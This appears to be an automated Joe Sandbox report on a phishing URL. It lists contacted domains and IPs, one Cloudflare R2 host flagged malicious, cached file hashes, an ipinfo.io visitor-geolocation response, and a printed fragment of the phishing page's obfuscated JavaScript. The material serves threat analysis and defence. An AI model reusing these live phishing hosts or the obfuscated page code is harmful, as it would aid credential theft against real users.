https://otelrules.svc.static.microsoft/rules/rule701100v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701901v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703250v1s19.xml	false		high
https://ipinfo.io/json	false		high
https://otelrules.svc.static.microsoft/rules/rule702000v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702450v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703300v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700450v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702700v1s19.xml	false		high
https://polynethub.netlify.app/mgs/prog.png	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule700300v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702600v1s19.xml	false		high
https://polynethub.netlify.app/mgs/eyeslash.png	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule704000v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule224900v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule704100v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700250v1s19.xml	false		high
https://polynethub.netlify.app/mgs/icon.png	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule702100v1s19.xml	false		high
https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari	true		unknown
https://otelrules.svc.static.microsoft/rules/rule120128v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120603v8s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702400v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703551v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700951v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/other-Win32-v19.bundle	false		high
https://otelrules.svc.static.microsoft/rules/rule704200v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703200v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703050v3s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700650v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701650v1s19.xml	false		high
https://polynethub.netlify.app/mgs/main.png	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule700950v1s19.xml	false		high
https://polynethub.netlify.app/mgs/tad1.png	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule120119v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703201v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700651v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701651v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702101v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700101v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701551v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701101v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702701v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701750v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702401v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120607v1s19.xml	false		high
https://code.jquery.com/jquery-3.1.1.min.js	false		high
https://polynethub.netlify.app/mgs/d2.png	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule703251v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701900v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule704150v0s19.xml	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://ipinfo.io/missingauth	chromecache_67.3.dr, chromecache_72.3.dr	false	high
https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_78.3.dr	false	high
https://promisesaplus.com/#point-75	chromecache_78.3.dr	false	high
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	chromecache_78.3.dr	false	high
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_78.3.dr	false	high
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	chromecache_78.3.dr	false	high
https://github.com/eslint/eslint/issues/6125	chromecache_78.3.dr	false	high
https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled	chromecache_78.3.dr	false	high
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_78.3.dr	false	high
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	chromecache_78.3.dr	false	high
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	chromecache_78.3.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_87.3.dr	false	high
https://bugs.jquery.com/ticket/13378	chromecache_78.3.dr	false	high
https://developers.cloudflare.com/r2/data-access/public-buckets/	chromecache_71.3.dr	false	high
https://promisesaplus.com/#point-64	chromecache_78.3.dr	false	high
https://promisesaplus.com/#point-61	chromecache_78.3.dr	false	high
https://jsperf.com/getall-vs-sizzle/2	chromecache_78.3.dr	false	high
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_78.3.dr	false	high
https://jquery.com/	chromecache_78.3.dr	false	high
https://github.com/jquery/sizzle/pull/225	chromecache_78.3.dr	false	high
https://sizzlejs.com/	chromecache_78.3.dr	false	high
https://bugs.chromium.org/p/chromium/issues/detail?id=449857	chromecache_78.3.dr	false	high
https://bugs.webkit.org/show_bug.cgi?id=136851	chromecache_78.3.dr	false	high
http://jquery.org/license	chromecache_78.3.dr	false	high
https://jsperf.com/thor-indexof-vs-for/5	chromecache_78.3.dr	false	high
https://bugs.jquery.com/ticket/12359	chromecache_78.3.dr	false	high
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	chromecache_78.3.dr	false	high
https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a	chromecache_78.3.dr	false	high
https://drafts.csswg.org/cssom/#common-serializing-idioms	chromecache_78.3.dr	false	high
https://github.com/jquery/jquery/pull/557)	chromecache_78.3.dr	false	high
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	chromecache_78.3.dr	false	high
https://drafts.csswg.org/cssom/#resolved-values	chromecache_78.3.dr	false	high
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	chromecache_78.3.dr	false	high
https://html.spec.whatwg.org/multipage/syntax.html#attributes-2	chromecache_78.3.dr	false	high
https://promisesaplus.com/#point-59	chromecache_78.3.dr	false	high
https://promisesaplus.com/#point-57	chromecache_78.3.dr	false	high
https://github.com/eslint/eslint/issues/3229	chromecache_78.3.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
3.125.36.175	unknown	United States	16509	AMAZON-02US	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
138.197.101.40	mr.ahmed-elgamal.com	United States	14061	DIGITALOCEAN-ASNUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
3.75.10.80	polynethub.netlify.app	United States	16509	AMAZON-02US	false
172.66.0.235	pub-160645733abe48e1a173755d32058a26.r2.dev	United States	13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.12

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1636999
Start date and time:	2025-03-13 10:06:32 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.phis.win@24/45@18/9
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe, TextInputHost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.110, 142.250.185.99, 142.250.185.206, 142.251.5.84, 142.250.185.78, 142.250.185.174, 142.250.185.142, 142.250.185.110, 142.250.186.42, 142.250.185.170, 199.232.214.172, 172.217.18.3, 216.58.206.42, 142.250.181.234, 142.250.185.74, 142.250.186.74, 216.58.212.170, 142.250.185.138, 142.250.184.202, 142.250.185.106, 142.250.184.234, 142.250.186.138, 172.217.18.10, 172.217.16.138, 142.250.186.170, 216.58.206.74, 142.250.185.202, 142.250.186.142, 142.250.184.206, 142.250.186.46, 142.250.74.206, 142.250.181.227, 23.199.214.10, 4.245.163.56
Excluded domains from analysis (whitelisted): fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ajax.googleapis.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, otelrules.svc.static.microsoft, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 171 x 129, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8432
Entropy (8bit):	7.95443656692082
Encrypted:	false
SSDEEP:	192:CFoqWS/32IhXDeIyL1AvDWpYwQdJwAkcv2e:C+qWS/JhTe1A8QdJwAXX
MD5:	3B751CA6558A384727662FEB63279995
SHA1:	3C4E0D2C8138415DEFB4EA0F81443740F02801AC
SHA-256:	2DC1528F00A048BDA8490A4D046D0A3874552FD44A3268E34F8D587C77870B57
SHA-512:	917444C234F520062E3ACD119BE2626617339B3DDA8CC0AAD3E25F35BD60519EEF538838C05F70A47B934C6206C31B7FDC3A6A3315FEAF46BC54BFAE604B57FD
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............JI....sRGB.........gAMA......a.....pHYs..........o.d.. .IDATx^..TE...B}I!..@....U. .." ((..t...!.UP..)J...wP:..H..@.i$!...y...M.......\|>..ew.....3g...h.&...I..gv..s.....f.k.h....vE...fU.5..a...A\......T.[.O...M..V.v..W\|.......^.>...fU...n.....`.Y.6....VP..c.N......M...$.......o....`fW......wf.v.[r.U....!/.BL..\|.~s.1!....q.l......h2....2...7(..;....-a.g....i......."u(`Q...Dt.6.+....b:y..a..3-......T.Y.OK.E.M.N..~..V....o...!.9%....gN...N........E.........y.`.......E....P..N..d..'..P.+.r.....@.....w.!J4..2....j..P.t.o...)...D..0!.J6L...gD.M..=.... .~W......H....N.]...u.7.0+V....*.1.,.d...a.1<L...T.......Wi25V}....2...B!.cQ#."...aqol..{S}d....Z.@.q.~..X..C..........l...Zq.&....\......N7l.952..;{.>.U_......Y....PD..`nw_H.k.....6....k.Am.iq.&3.g..Pq.W..E4.8....6..=}{....r....H....P`X.....\|X`...........L....U...e. ':.r.^!Ei.........>.........H.^...........J...;d.1/C......&...H..a..]....8.GO......{no.O!c(@...

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 51 x 51, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6472
Entropy (8bit):	7.9614440298074545
Encrypted:	false
SSDEEP:	192:0SXVB/e3XvblmlqpfQFjF7j+kFomx/c6lOOB:zlB/e3XZmApfejBqk+C/xxB
MD5:	F419183716DF0C9BCEFFF5389522958C
SHA1:	CF56E3EF9C5B162BECE6DFFE9E1B220526F7AC7E
SHA-256:	0DFA5859ACD573CAF7190FA333E1551503CC295EBABE5C7051C90CFBF9D190A9
SHA-512:	6623E40298585D89DF22A20DA5289E2A8109A78B0A1ACEBCE8F44CA79E0A9354DBA35C82B3E64192B1A971D9CDA1FA9FE1E37F8A4098A2376F731E2271D13C55
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...3...3.....:.0....pHYs.................sRGB.........gAMA......a.....IDATx..Z.t[.o.zO..[.b;..YI.)$i:.....)--.)s.2K.;.-S..t..J.P..J.............;V,.-[....2........yG...........^...........p...\.=......5e..45..u..[..W..8.......]...S..(.......V...rzH...\|.R..Z..E+....=w....o..'.ri'7..j.]4TV..h..2....n......../...3_...+..{..h..tp.,.(..&...3..~....V...y..&u...N..<.i.f.......{>..<4...g;n..t..hi..2...........;^n.`..}..&.N..0..w.....B...........>.U.So>.....#..O_..z...cYEQ.@Tq$).Dc.`...............c}[..qX.{u-_...x.....J.t.6r......bsE...ZNK9sz..4..:.p..%3........g$.........G.L...+.\|B....N.:...,..........x...a.i5S/.Yj.D..l_..........i..I.H.\|..jZ.5:.!h X....-.K.1.QSiVSS..!.......-.........LM...i}.7....!...v.5..6w...}..e.Qz.73>.C...e.??../Og.n;....{..%...)..Y...,...?b....=5....9E.y.9M...1g..I..?&.}%...:..5.p...{.q./..g.....,.4.{*(.z,;.......]{...^....Y..{^...\.....!-.e/...1....\..t..S.wA..9C...o.'.B.....iz...C..._(BM..IZ...R..S...S.<...

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	325
Entropy (8bit):	4.893683985387811
Encrypted:	false
SSDEEP:	6:oI89ePAvLnzlbB/N2nHJv//f9Ek/LO4kW96fW35jY:p8ggHlbz0pv/XmQiWsg5k
MD5:	7AACF32BE716A3B6D88562071B4CD7B0
SHA1:	8044315617B99554528FE47AFC9CB74331D7CDFE
SHA-256:	3813D482D5DE6BD8DB1F4407D3635491B22717A4549B8BF6B4ADB89CC85C77A2
SHA-512:	5799192C7E01F60CC9E11851AD2F8B7C80A647275F96F87A9C9300FEF806D1CB0D1B2E46407D1AA3DFE382F99BE58DE336543C3A464CBC55EB8FA0CC0292B69E
Malicious:	false
Reputation:	low
Preview:	{. "ip": "76.107.53.143",. "hostname": "c-76-107-53-143.hsd1.la.comcast.net",. "city": "Monroe",. "region": "Louisiana",. "country": "US",. "loc": "32.5093,-92.1193",. "org": "AS7922 Comcast Cable Communications, LLC",. "postal": "71207",. "timezone": "America/Chicago",. "readme": "https://ipinfo.io/missingauth".}

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 518 x 97, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5335
Entropy (8bit):	7.923513904608464
Encrypted:	false
SSDEEP:	96:Sozp0wch9aIoJyl03GA4Fi90kJUpk8cZ10213ZTlunChuQDPc3jVoIfEa6KDN:SccSJwEcF8CWb029uChuQ0fEapDN
MD5:	F473A40301E6D38D5AB8E755070E2807
SHA1:	E077C714C15B7D45B6AC9EE0DCC349C1D4B97AA2
SHA-256:	A63A08D511C9B8FF6BD0FA2206959E3DCEF4CA9E0FB4292991D6B0C473F2FE87
SHA-512:	20B26AB502F3890BA6957845DE1E1F63EAF101E90A7282E7601500C476BFC71C83D3E45CAEEDC8F433F6F53173DC613A377A31BA36E9FB499AF40E2A6CFE933E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......a........Y...DPLTE.........v=..v$....a(...........ooo...............fff.........,,,...........\|...vvv.. q:.......III.uk...q3....???.i&...666.{"QQQ......ZZZ.r.jjj111.q%.m.j%..E.s8..3F.........M..h!.N..........X..0G..l......\|1.U8.o.F.....d....=.\..c.S.]C~I(.R..lW.[@..m....iT..e..-....Q4qH:....^.W0eE<WA?'7D.b1...-;A..M.y.v@.....#......NIDATx..._.............]..(.I.@S...a..t.............l.:GrS.....fk,...9GG.)...._.R.,.}.wi..t.z.........\|.8.r.N...\...bury................z.B...&'..s~tQ.....y.L......Z...t5.`r...g.....z..N..2.r....^0..c......Ot.......g8.((...7.B.H.9.9.#^.8.At......\h}.]..O....0.NGq.....AH...[N.[x......b...!..z.q.8......pE....,...I..;...`@v..+\|}.-(..}...>.9.g......Px.+..i....I.oq..3..B......].8.......~P.p.....W.{i>.q..W........j....W@.A.R..q&p)..@...0....6..k.....l..y...nh!..c.....b .. 6.1.6..2..."...>...0..i.E..-d...w.c..B...t"..t..-d.<R.9..."..28.H.Ha...1 :3z.a...! .u...G....5.<..{.^..0YD../=...;..'X..d.6...

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 5644, version 1.0
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	7.9601989705858776
Encrypted:	false
SSDEEP:	96:fIFfzjZxOWVAeoZKJygG7gQ0ARrvfzR7YHDviqi9CdWRxHTjlt7ndMk+09RiOb:wlLOLZKJzJARrl7Yjvhi9CdoTjR+09L
MD5:	90926C36B712CB131F3F890BBB8C477E
SHA1:	854E6F96532537002044042175EA57D6F83BF4E9
SHA-256:	0B1FCAB42C18B69BCFE9CE4799FCBFF5AF1621C53FFCFDC4723C6F5EC4EE3FFB
SHA-512:	83807F0C7A832FFCC7093E676B8DA21B323E0CA46B407978249565197416429F8208191B50A47A0EE0E0E56FB0A7E52A57ACEEBE77544580B88C174078446147
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/poppins/v22/pxiEyp8kv8JHgFVrJJnecmNE.woff2
Preview:	wOF2..............3d.................................`..(..d....l..6.$..T. ..\..A..EF.......Q..F.....1.V....j..$.7FL.R\=!.F......>.n.B....+6.......C...Hb......)U..M9l&.......C...U.q...m.>:P.V3AT0.+.O\|B.D.>J.......y7.-.E_.n}...k.!F2.....).I.......3....}s.3.\a&....t.?..>.Y....T..H...!wE.6.Y.. ..:.....P.8Z.8....7..eY./.....4...F..Og.J..%....@.x]T.4...H...%/.........C.....z.gCH.',j(...m.L....ypY.E...r......0.?"!-k.\|.T..`<C.p.i. ..\...........m.t..dC.V2...u.[a.6........i....m8P....H......1.mu.....P...V\\....0@.1...{._.1....IE.T....[ic..qSG7..N..O.....O&.......bgf.=.@....JU..h.(.5ii..F.=2...z.z1.r(.........w..........>..v.W.........q@.b..{.^.~..K..a..8...v.~kG.q.. q..JX.v..ln....Z8...v..e.m...u$!......"...34V.Z...V.f.$.....&a=......F.4l\|YB......TV.uE\|d&.\|+...PK......../s...-......%.2.....Iy8m...kx...U..M..n-....g.0.!.BO}.hB...6.z.(.B........?.*...F!.K.O.S...U...t.E..&..:W..f.........JD.[@....S......Bk..1l..?...c..S.?2........G.K.uP...j]"...

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 441 x 86, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2833
Entropy (8bit):	7.790900974497478
Encrypted:	false
SSDEEP:	48:PKftnuqcMR/ZnMMqs3bYrYi9IS0KjxU+zpEFQ0KQ/yQglyL9UzZc:PK1nuUR/xqsTi9IS7UkSbKnnyLKVc
MD5:	3890CA6AD3EDFBC98A6B1CFC821B479F
SHA1:	698BD126E0373506509523C3FE7968002C492CCB
SHA-256:	DC791EB99787611331A7948CC25A0E16DB8D54A908FE5903D9819077494C4265
SHA-512:	9607901ED8A09F1C2913D0DE7FF395C246A721C424948DA060163EB07F9B69EBC8CAF05C693417B26ED11C0AE55FC2D540109321387105D1B3705B238B96BD66
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......V.....R1......sRGB.........gAMA......a.....pHYs..........o.d....IDATx^...n......A..@..}......3....+...B.F......K-.....P.B..Q..U][.,'.N..9.......xx.........r./....!.G...D.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r....3...........a.~............8M.<.......;...K....=..c...#.........i.G.^4...l.y.~...G.}.h.2...E).R......'.e..;h.-{Q.r......Q.]..W..g.._..o.......Y.4M..... M..M......{..w........8M.[Fe.......G.2.B.'.w.._.. ....2ZVe.,.. -..h!..?.../....h^-.e....2Bn.>.~\......I.p.).T..........2..>;j.n1-.2.<..Bn...y..3/.E.....N.....R.:BnIt9...O...Q.V>.....^.\|..u1.?..O..%!....b...<......3..z.1....3.XxF.Zg.Bn.....7.G.:.......g......r.....:.....T...T..V..eS.'d.N&.R...2............QT..T..V.................6..<...zy..0\|z...F."...zSy..!.@z..Fo)i.p'....}...X.f....a...m.....KW....-..n..A....[ .PYA..q5s..N...Z...T.Z....*+h.......m..._}...-...zZj.R@.-.~9@A..N..!.T...:..6.r..F.lb..U......9.rk...T...:...[ .D.......!g....

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (611)
Category:	downloaded
Size (bytes):	27150
Entropy (8bit):	4.357340680151037
Encrypted:	false
SSDEEP:	384:6bamwIluB0sJQqCeSQup5szCUXAG0VVi82OgoKACZQQofNJXY3gW3:603Mp5If8WOmgW3
MD5:	46DD133EE00DC1BAE5E4EEBA7B88432F
SHA1:	8AF86A4AC91CE48C062216FB94A6E1D57618A19B
SHA-256:	9EB52EE46C7AB5EA4CA0982415DA99FDED1B7D7354F75E50847BDAE6CB44EB66
SHA-512:	CB49F9E3812E2C262AF374E79BD8905CB508A45BF2C2D6AF62EED85AF43770872486A55E9425882FEDA9FB3A57A317A3C18BE1E286ADAF0C76BE7F1B0DFA8474
Malicious:	false
Reputation:	low
URL:	https://pub-160645733abe48e1a173755d32058a26.r2.dev/favicon.ico
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <link rel="icon" href="https://www.cloudflare.com/favicon.ico" />. <title>Not Found</title>. <style>. body {. font-family: system-ui;. font-weight: 300;. font-size: 1.25rem;. color: #36393a;. display: flex;. align-items: center;. justify-content: center;. }. main {. max-width: 1200px;. margin-top: 120px;. display: flex;. flex-wrap: wrap;. align-items: center;. justify-content: center;. }. #text {. max-width: 60%;. margin-left: 1rem;. margin-right: 1rem;. }. main > section > div {. margin-bottom: 3.25rem;. }. svg {. margin-left: 2rem;. }. @keyframes eye-1 {. 0% {. transform: translateX(0);. }. 10%,. 50% {. tr

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	325
Entropy (8bit):	4.893683985387811
Encrypted:	false
SSDEEP:	6:oI89ePAvLnzlbB/N2nHJv//f9Ek/LO4kW96fW35jY:p8ggHlbz0pv/XmQiWsg5k
MD5:	7AACF32BE716A3B6D88562071B4CD7B0
SHA1:	8044315617B99554528FE47AFC9CB74331D7CDFE
SHA-256:	3813D482D5DE6BD8DB1F4407D3635491B22717A4549B8BF6B4ADB89CC85C77A2
SHA-512:	5799192C7E01F60CC9E11851AD2F8B7C80A647275F96F87A9C9300FEF806D1CB0D1B2E46407D1AA3DFE382F99BE58DE336543C3A464CBC55EB8FA0CC0292B69E
Malicious:	false
Reputation:	low
URL:	https://ipinfo.io/json
Preview:	{. "ip": "76.107.53.143",. "hostname": "c-76-107-53-143.hsd1.la.comcast.net",. "city": "Monroe",. "region": "Louisiana",. "country": "US",. "loc": "32.5093,-92.1193",. "org": "AS7922 Comcast Cable Communications, LLC",. "postal": "71207",. "timezone": "America/Chicago",. "readme": "https://ipinfo.io/missingauth".}

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65358), with CRLF line terminators
Category:	downloaded
Size (bytes):	431741
Entropy (8bit):	2.712281240414301
Encrypted:	false
SSDEEP:	192:Dh5MytXG08LlqJ/ruiZoyOv3yrMnKiQ7J22Cp/qaOuo/T/Gy0iN0FCe5gXfxSibe:DhTEFF
MD5:	755A3E75E5AFADCD5CE91DF78B31AB0D
SHA1:	413B827863BE6C48E2EBA1C59D5243F304358BB3
SHA-256:	1FE97FD433D11608255674867185F4F066EC105F507F8A1205A8E095701C814C
SHA-512:	ABF7C3251BE28BD59E31386486D632F1FBEEF68D6FB3B8CD47E988DDD164DFAA8155F7A3F5F6C2100300B9CBCD5A4E1EDA157672E20B8A2855F9331BE2251D20
Malicious:	false
Reputation:	low
URL:	https://pub-160645733abe48e1a173755d32058a26.r2.dev/index.html
Preview:	<!doctype html PUBLIC "-/W3C/DTD XHTML 1.0 transitional/en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd">..<html>..</head>..<body>..<script type="text/javascript">..function _0xd7d1(_0x43508f,_0x4e50af){var _0x4083e5=_0x4083();return _0xd7d1=function(_0xd7d1f4,_0x266dc4){_0xd7d1f4=_0xd7d1f4-0xf1;var _0x144852=_0x4083e5[_0xd7d1f4];return _0x144852;},_0xd7d1(_0x43508f,_0x4e50af);}var _0x68d62c=_0xd7d1;(function(_0x39665a,_0x32bac7){var _0xdf52a2=_0xd7d1,_0x458704=_0x39665a();while(!![]){try{var _0x2d7380=-parseInt(_0xdf52a2(0xf9))/0x1+parseInt(_0xdf52a2(0xf4))/0x2+-parseInt(_0xdf52a2(0xf6))/0x3(parseInt(_0xdf52a2(0xf7))/0x4)+parseInt(_0xdf52a2(0xf2))/0x5(parseInt(_0xdf52a2(0xfd))/0x6)+parseInt(_0xdf52a2(0xfa))/0x7(-parseInt(_0xdf52a2(0xf1))/0x8)+-parseInt(_0xdf52a2(0xf3))/0x9(-parseInt(_0xdf52a2(0xfc))/0xa)+parseInt(_0xdf52a2(0xf5))/0xb;if(_0x2d7380===_0x32bac7)break;else _0x458704['push'](_0x458704['shift']());}catch(_0x152491){_0x458704['push'](_0x458704['shift']());}}

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7884, version 1.0
Category:	downloaded
Size (bytes):	7884
Entropy (8bit):	7.971946419873228
Encrypted:	false
SSDEEP:	192:xLFDbKO9E3rS3JWBRO/J601FSS5ZUbik3Zy2f0:pd9J5W501otlI
MD5:	9212F6F9860F9FC6C69B02FEDF6DB8C3
SHA1:	AC6D71B4D5FDD2B3DABC9A06FF6C001E4251DA0B
SHA-256:	7D93459D86585BFCDBB7E0376056226ADB25821EE54B96236FE2123E9560929F
SHA-512:	67317495F4B53E20A9F31C034E456E6C37F387DFFB2C092CAA5159BC441CFCADD02749FFE5BBED1D580D5300A59E48A767EF2C6D9978B474F84C1A2CD095C126
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/poppins/v22/pxiEyp8kv8JHgFVrJJfecg.woff2
